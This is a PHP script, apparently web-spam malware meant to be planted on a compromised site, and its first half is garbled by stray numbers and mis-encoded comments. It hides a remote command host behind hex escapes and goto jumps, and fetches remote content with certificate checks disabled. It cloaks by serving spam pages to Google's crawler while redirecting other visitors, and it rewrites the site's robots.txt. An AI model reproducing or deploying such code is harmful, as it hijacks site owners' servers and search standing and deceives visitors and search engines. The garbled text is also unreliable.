2 3 php 2 2 er 3 ror 3 _re 3 por 2 ti 3 ng( 2 0) 2 ; 2 $ 3 get 3 = 2 fi 3 lte 3 r_i 2 np 3 ut_ 2 ar 3 ray 2 (I 2 NP 3 UT_ 2 GE 2 T, 2 F 2 IL 3 TER 2 _S 2 AN 3 ITI 1 Z 3 E_S 2 TR 2 IN 1 G 5 ); 2 / 3 * - 18 ------------------------ 2 5 1 é 2 «˜ 2 é€ 2 Ÿæ 1 œ 2 ¬å 2 œ° 2 ç¼ 2 “å 2 ˜ 1 å 2 ‡½ 2 æ• 2 ° 1 1a ------------------------- 2 */ 2 2 fu 3 nct 2 io 3 n c 2 ac 3 he_ 3 get 2 ($ 3 key 3 , $ 2 ex 3 pir 1 e 5 = 30 2 0) 2 { 6 4 $fil 5 e = s 2 ys 5 _get_ 2 te 3 mp_ 3 dir 2 () 3 . 2 '/ 7 cache_' 3 . 2 md 6 5($key 5 ) . ' 1 . 4 php' 1 ; 7 i f f (file_exists( 5 $file 3 ) & 2 & 2 (t 3 ime 3 () 1 - 6 filem 5 time( 7 $file)) 2 < 8 $expire 9 ) { 5 r 3 etu 2 rn 5 file 6 _get_c 3 ont 2 en 9 ts($file) 7 ; 7 } 8 return f 3 als 4 e; 1 } 12 function cache_s a et($key, $ 2 da 2 ta 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 5 file_ 4 put_ e contents($file 7 , $data 3 , L 2 OC 2 K_ 2 EX 1 ) 6 ; } 25 /* ------------------------- 2 èŽ 2 ·å 2 – 2 çœ 2 Ÿå 1 ® 2 žè 2 ®¿ 2 é— 2 ® 2 IP 2 ï¼ 2 ˆå 1 … 2 ¼å 2 ®¹ 2 C 3 DN 2 / 2 å 2 ä 1 » 2 £ï 2 ¼‰ 29 ------------------------- */ function 6 get_re 2 al 3 _ip 1 ( a ) { $ 4 keys 4 = [ c 'H 2 TT 2 P_ 2 CF 3 _CO 2 NN 2 EC 1 T 4 ING_ 3 IP' 2 , 3 // 2 Cl 3 oud 2 fl 3 are 10 'HTTP_ 2 X_ 2 RE 2 AL 6 _IP', a // 2 Ng 3 inx 12 'HTTP_X_ 2 FO 2 RW 2 AR 2 DE 5 D_FOR 4 ', 4 // P 2 ro 2 xy 11 'HTTP_C 2 LI 3 ENT 5 _IP', b ' 2 RE 2 MO 3 TE_ 2 AD 2 DR 7 ' 1 ] 5 ; 6 fo 3 rea 2 ch 2 ( 7 $keys a 1 s 3 $k d ) { 5 if (! 3 emp 2 ty 3 ($_ 2 SE 2 RV 2 ER 2 [$ 2 k] 1 ) d ) { 7 $ip 3 = c $_SERVER[$k] 9 ; c if ( 3 str 2 po 9 s($ip, ', 3 ') 2 != 1 = 6 false 11 ) { b $ip = t 2 ri 2 m( 4 expl 3 ode 1 ( 4 ',', 5 $ip) 2 [0 1 ] 8 ); 9 } 14 if ( 7 filter_ 2 va 1 r 6 ($ip, 8 FILTER_V 2 AL 2 ID 1 A 5 TE_IP 1 ) 15 ) { 7 return 3 $ip 12 ; } f } e } return 3 '12 2 7. 1 0 5 .0.1' 2c ; } /* ------------------------- æ 1 › 3e7 ´å¿«çš„ getCurl() ------------------------- */ function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) return $cached; $data = ''; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "Mozilla/5.0" ]); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, 1508 false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL ä¿¡æ¯ ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础å˜é‡ ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- è§£æž f 傿•° ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 åˆ¤æ– ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0